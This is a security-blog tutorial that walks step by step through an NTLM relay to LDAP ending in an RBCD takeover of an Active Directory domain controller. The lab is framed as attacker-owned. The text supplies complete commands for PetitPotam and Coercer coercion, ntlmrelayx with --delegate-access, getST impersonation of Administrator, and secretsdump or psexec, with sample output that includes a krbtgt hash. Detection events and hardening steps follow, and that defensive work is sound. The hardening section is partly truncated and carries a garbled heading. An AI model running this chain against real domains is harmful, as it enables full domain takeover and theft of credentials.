NTLM Relay to LDAP for RBCD Takeover in a Lab
A hands-on NTLM relay walkthrough in an AD lab you own: coerce a machine account, relay the authentication to LDAP, write RBCD, and request a ticket to impersonate an admin.
An NTLM relay attack takes a Windows authentication you pulled out of a machine and forwards it, still valid, to a service that will act on it, rather than trying to crack the password behind it. This walkthrough runs the full chain in an Active Directory lab you own: you coerce a domain controller's machine account into authenticating to you, relay that authentication to LDAP, write a resource-based constrained delegation (RBCD) attribute, then request a Kerberos service ticket that impersonates a domain admin. The result is code execution on the DC without ever seeing a single password.
Read it top to bottom once to understand why each link in the chain exists, then keep it open while you reproduce it on your own hosts. Every command here targets a lab in the 10.10.10.0/24 range that you built and control.
Run this only inside an Active Directory lab you own or are explicitly authorized to test, such as a few VMs on 10.10.10.0/24. Coercing and relaying authentication against systems you do not own is a crime.
01What an NTLM relay is and why it beats cracking
An NTLM relay sidesteps the password entirely by forwarding a live authentication instead of recovering the secret behind it. When a Windows host authenticates with NTLM, it proves it knows the account's NT hash through a challenge and response, but it never sends the hash itself. If you capture that exchange, you cannot replay it elsewhere directly, and cracking it offline only works for weak passwords. A machine account password is 120 random characters that rotate automatically, so cracking is a dead end.
Relaying flips the problem. You sit in the middle of the authentication, take the response the victim computes against your challenge, and pass it straight to a third service as if you were the client. That service completes the handshake and treats the whole session as the victim account. You never learn the password, you borrow the identity for the length of a connection. Against a machine account that happens to be a domain controller, borrowing that identity for one LDAP write is enough to take over the domain.
The reason this still works decades after it was first demonstrated is that NTLM has no built-in binding between the authentication and the channel it travels on. Nothing in the protocol says "this response is only valid for the server I meant to talk to." Signing and channel binding were bolted on later to add exactly that binding, which is why the next section is about when those protections are missing.
02When an NTLM relay actually works
An NTLM relay only lands when the target service does not cryptographically tie the session to the authentication. Two settings decide this, and both are commonly left soft in real domains. The first is SMB signing: if a server does not require signing, you can relay inbound SMB authentication to it. The second matters for our target, LDAP: a relay to LDAP succeeds only when LDAP signing is not enforced, and a relay to LDAPS succeeds only when channel binding (Extended Protection for Authentication, EPA) is off.
The table below is the quick mental model for whether a given relay path is open.
| Target protocol | Protection | Relay works when |
|---|---|---|
| SMB | SMB signing | Signing is not required on the target host |
| LDAP (389) | LDAP server signing | Signing is set to "none" rather than "require" |
| LDAPS (636) | Channel binding (EPA) | Channel binding is disabled on the DC |
Default domain controllers are the gift here. For years the out-of-box posture was LDAP signing not required and channel binding off, so a relayed authentication to the DC's own LDAP service was accepted without complaint. Microsoft hardening guidance pushed both toward enforced, but plenty of labs and production domains still ship them soft, which is exactly the state we assume below. netexec will tell you in seconds which hosts are relayable.
$ nxc smb 10.10.10.0/24 --gen-relay-list relay_targets.txt SMB 10.10.10.2 445 DC01 [*] Windows Server 2022 (name:DC01) (domain:lab.0xpriv.dev) (signing:False) (SMBv1:False) SMB 10.10.10.6 445 FILE01 [*] Windows Server 2022 (signing:False) $ cat relay_targets.txt 10.10.10.2 10.10.10.6
03The RBCD takeover chain end to end
The RBCD takeover chain strings five simple steps into one domain compromise, and seeing them laid out first makes every command afterward obvious. Resource-based constrained delegation is a Kerberos feature where a target computer decides which accounts are allowed to impersonate users to it. That decision lives in one attribute on the target's computer object, msDS-AllowedToActOnBehalfOfOtherIdentity. If you can write that attribute, you can nominate an account you control as a trusted delegator, and from there you can ask the KDC for a ticket to the target as any user you like.
The relay is how you get the write. You make a privileged machine account authenticate to you, relay it to LDAP, and use that borrowed identity to edit the target's delegation attribute. The diagram below is the whole plan on one line.
Each step is standard tooling. The only part that needs a privileged victim is the coercion, and a domain controller's own machine account is as privileged as it gets, which is why DC coercion is the classic opener.
Coerce
Force DC01's machine account to authenticate over the network to your relay host.
Relay
ntlmrelayx takes that authentication and binds to the DC's LDAP as the DC machine account.
Delegate
Over that LDAP session, create or reuse a computer account and write it into DC01's RBCD attribute.
Impersonate
Use your computer account to request a service ticket for DC01 as the Administrator with getST.
Use it
Load the ticket and run secretsdump or psexec against DC01 as that admin.
04Coercing a machine account to authenticate
Coercing a machine account means making a remote Windows host start an outbound authentication to a destination you pick, without any credentials of your own. Several Windows RPC interfaces expose methods that take a path and then reach out to it, and if you hand them a UNC path pointing at your relay host, the service connects back and authenticates as its own machine account. That is the trigger for the whole chain.
The two coercion families worth knowing are the EFSRPC methods popularized by PetitPotam and the print spooler method behind PrinterBug. Coercer rolls many of these into one tool and sweeps every known method. At a high level you point the coercer at the victim DC and give it your relay host as the listener target. The call itself is a single standard invocation, and the mechanism is simply "ask the DC to open a file on my box."
# 0xpriv.dev/labs # high level: ask DC01 to authenticate to our relay host at 10.10.10.5 # (PetitPotam-style EFSRPC coercion; Coercer sweeps all known methods) python3 PetitPotam.py 10.10.10.5 10.10.10.2 # or let Coercer enumerate and fire every available method coercer coerce -t 10.10.10.2 -l 10.10.10.5 -u lowpriv -p 'LabPass123'
Because the service runs as SYSTEM, the outbound authentication uses the host's machine account, DC01$. That account is a member of the domain and, on a DC, it can write delegation attributes on other computer objects, which is the privilege the relay inherits.
Some coercion methods need a low-privilege domain account and some do not, depending on the interface and patch level. In a lab you can test both. The important point for the relay is only the destination: whatever method fires, the DC must connect to the host where ntlmrelayx is listening.
05Relaying that authentication to LDAP
Relaying to LDAP is where the borrowed machine-account identity gets spent on a directory write. Before you coerce anything, you start ntlmrelayx so it is listening when the DC connects. You point it at the DC's LDAP endpoint as the relay target and tell it what to do once the bind succeeds. The diagram shows the three parties while the relay is in flight.
Notice the relay target is the same DC that authenticates. The DC coerces out to you, you relay it straight back to the DC's directory service, and the directory accepts the bind because signing and channel binding are not enforced. This reflection is fine for LDAP writes even though SMB-to-self relay is blocked by the OS.
06Running ntlmrelayx with delegate-access
Running ntlmrelayx with the delegate-access option turns a relayed LDAP bind into an automatic RBCD setup. The --delegate-access flag tells impacket to, once the bind lands, create a new computer account over LDAP and then write that account into the victim's msDS-AllowedToActOnBehalfOfOtherIdentity. A fresh computer account is handy because by default the domain lets authenticated users add up to ten machine accounts (the ms-DS-MachineAccountQuota), and a computer account has the service principal name that S4U requires.
# listen and relay to the DC's LDAP, auto-configuring RBCD on success ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support --delegate-access # if you already control a computer account, point the delegation at it ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support \ --delegate-access --escalate-user 'ATTACKER$'
Target LDAPS on 636 when you can, because a DC often rejects the sensitive write over plain LDAP but accepts it over the TLS channel when channel binding is off. When ntlmrelayx succeeds it prints the computer account it created, with its generated password, and confirms the delegation write. Save that output, you need the account name and password for the next step.
$ ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support --delegate-access [*] Servers started, waiting for connections [*] Received connection from 10.10.10.2, attacking target ldaps://10.10.10.2 [*] Authenticating against ldaps://10.10.10.2 as LAB/DC01$ SUCCEED [*] Attempting to create computer in: CN=Computers,DC=lab,DC=0xpriv,DC=dev [*] Adding new computer with username: WK1A7X$ and password: 7qS#2...redacted [*] Delegation rights modified successfully! [*] WK1A7X$ can now impersonate users on DC01$ via S4U2Proxy
If ms-DS-MachineAccountQuota is 0, ntlmrelayx cannot create a computer account and the auto-RBCD path stops. That is both a defense and your cue to supply an account you already control with --escalate-user.
07Requesting a ticket with getST and using it
Requesting a service ticket with getST is the step that cashes the delegation write into real access. Now that your computer account is trusted to delegate to DC01, you use the Kerberos S4U2Self and S4U2Proxy extensions to ask the KDC for a ticket to a service on DC01 while naming any user you want to impersonate. impacket's getST does both legs in one command. Pick a sensitive user such as Administrator and a service such as CIFS so the ticket is good for file and admin operations.
# request a CIFS ticket for DC01 as the Administrator, via the controlled account getST.py -spn cifs/DC01.lab.0xpriv.dev \ -impersonate Administrator \ -dc-ip 10.10.10.2 \ 'lab.0xpriv.dev/WK1A7X$:7qS#2...redacted'
getST writes a credential cache file, Administrator@cifs_DC01...ccache. Point the KRB5CCNAME environment variable at it and every impacket tool that supports Kerberos will use it with -k -no-pass. From there, secretsdump reads the domain's secrets, including the krbtgt hash that lets you forge golden tickets, which is full domain compromise.
# load the ticket and act as Administrator on DC01 export KRB5CCNAME=Administrator@cifs_DC01.lab.0xpriv.dev.ccache secretsdump.py -k -no-pass DC01.lab.0xpriv.dev # or an interactive SYSTEM shell psexec.py -k -no-pass DC01.lab.0xpriv.dev
$ export KRB5CCNAME=Administrator@cifs_DC01.lab.0xpriv.dev.ccache $ secretsdump.py -k -no-pass DC01.lab.0xpriv.dev -just-dc-user krbtgt [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b...:5f4dcc3b5aa765d61d8327deb882cf99::: [*] Cleaning up...
08A worked walkthrough on 10.10.10.0/24
The worked walkthrough pulls every piece together against a three-host lab so you can watch the chain run from empty hands to DCSync. The lab is one domain, lab.0xpriv.dev, with a domain controller DC01 at 10.10.10.2, a member server at 10.10.10.6, and your attacker box at 10.10.10.5 running impacket and netexec. Signing and channel binding are left at their soft defaults on the DC, and the machine account quota is the default ten.
Confirm the relay is open
Run nxc ldap 10.10.10.2 and nxc smb 10.10.10.0/24 --gen-relay-list to confirm LDAP signing is not required and the DC shows signing:False.
Start the relay
On 10.10.10.5 launch ntlmrelayx.py -t ldaps://10.10.10.2 -smb2support --delegate-access and leave it listening.
Coerce the DC
In a second shell, trigger DC01$ to authenticate to 10.10.10.5 with a PetitPotam-style call. The relay catches the bind.
Read the loot
ntlmrelayx prints the created computer account WK1A7X$ with its password and confirms the delegation write on DC01$.
Mint the ticket
Run getST for cifs/DC01.lab.0xpriv.dev impersonating Administrator with the WK1A7X$ credentials.
Own the DC
Set KRB5CCNAME to the ccache and run secretsdump with -k -no-pass. The krbtgt hash drops out and the lab is yours.
Time it once and you will see how fast this is. The coercion and relay take seconds, the RBCD write is instant, and getST plus secretsdump are two short commands. That speed is exactly why defenders lean on configuration hardening rather than hoping to catch the attack mid-flight.
This chain hands you domain-admin-equivalent control of a DC. Keep it on isolated VMs with no route to anything you do not own, and tear the lab down or snapshot it back when you are done.
09Detecting the attack
Detecting this chain is about watching for its fingerprints in directory and Kerberos logs, because no single event screams "relay" on its own. The strongest signals cluster around the LDAP bind, the attribute write, and the ticket request. Turn on the right auditing in the lab and replay the attack to see each one fire.
| Signal | Where to look |
|---|---|
| Unsigned LDAP binds | DC event 2889 (needs LDAP interface diagnostic logging) lists clients binding without signing |
| RBCD attribute change | Event 5136 showing msDS-AllowedToActOnBehalfOfOtherIdentity modified on a computer object |
| New computer account | Event 4741, a machine account created at an odd time by an unexpected account |
| Impersonation ticket | Event 4769 for a service ticket, often with the S4U pattern and a mismatched requestor |
| Machine-account coercion | Unexpected inbound SMB from a DC to a non-infrastructure host, plus EFSRPC or spooler RPC traffic |
The highest-value alert is a change to msDS-AllowedToActOnBehalfOfOtherIdentity. Almost nothing legitimately writes that attribute, so a 5136 on it, especially on a domain controller object, is close to a true positive. Pair it with a 4741 for a computer account you did not provision and a 4769 impersonating a privileged user from that same account, and you have the relay-to-RBCD story end to end.
10Shutting it down on a .mit box
Shutting this down is a hardening exercise, and every control below removes one required link so the chain cannot complete. None of them depends on catching the attacker in the act. Apply them in the lab, re-run the chain, and watch it fail at a different step each time.
ms-DS-MachineAccountQuota to 0 stops low-privilege accounts, and ntlmrelayx, from creating the computer account the attack needs.msDS-AllowedToActOnBehalfOfOtherIdentity and on new computer accounts, so the rare legitimate change is reviewed and the malicious one is caught.If you can go further, disable NTLM where your environment allows it and restrict which accounts can delegate at all. The single highest-impact change for most domains is enforcing LDAP channel binding and signing, because that one setting closes the exact relay target this walkthrough depends on.
11FAQ
Why relay NTLM instead of cracking the captured hash?FAQ
An NTLM authentication over the wire is a challenge and response, not the hash itself, and machine account passwords are long and random, so offline cracking almost never works. Relaying forwards the live authentication to another service and borrows the account's identity for that session, which needs no cracking at all.
Can I relay to LDAPS if channel binding is enabled?FAQ
No. Channel binding (Extended Protection for Authentication) ties the NTLM authentication to the specific TLS channel, so a relayed bind arrives on the wrong channel and the DC rejects it. That is why enabling channel binding is the defense that most directly breaks this chain.
What is RBCD and why does writing one attribute matter so much?FAQ
Resource-based constrained delegation lets a target computer list the accounts allowed to impersonate users to it, in the attribute msDS-AllowedToActOnBehalfOfOtherIdentity. Writing your own account into that list on a domain controller lets you request Kerberos tickets to that DC as any user, including Administrator, so one attribute write becomes full control.
Does setting the machine account quota to zero fully stop this?FAQ
It stops the convenient auto-create path, since ntlmrelayx can no longer add a computer account to delegate to. An attacker who already controls a computer account can still use --escalate-user, so treat the quota as one layer and still enforce LDAP signing and channel binding.
Which coercion method should I use in the lab?FAQ
Try several. PetitPotam-style EFSRPC and the spooler PrinterBug are the classics, and Coercer sweeps every known method for you. The method only decides how the DC is nudged into authenticating, the relay and RBCD steps that follow are identical whichever one fires.
12Wrapping up
An NTLM relay to LDAP turns one coerced authentication into domain takeover without touching a password, because borrowing a domain controller's machine account for a single RBCD write is all it takes to then mint a ticket as any admin. Build the three-host lab, confirm signing and channel binding are soft, and run the chain once by hand so each step is concrete. Then flip the hardening on, run it again, and watch it die at the LDAP bind. The attack is old and the fix is known, but the default posture is still soft often enough that it remains one of the most reliable paths from a foothold to the whole domain.
references
Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.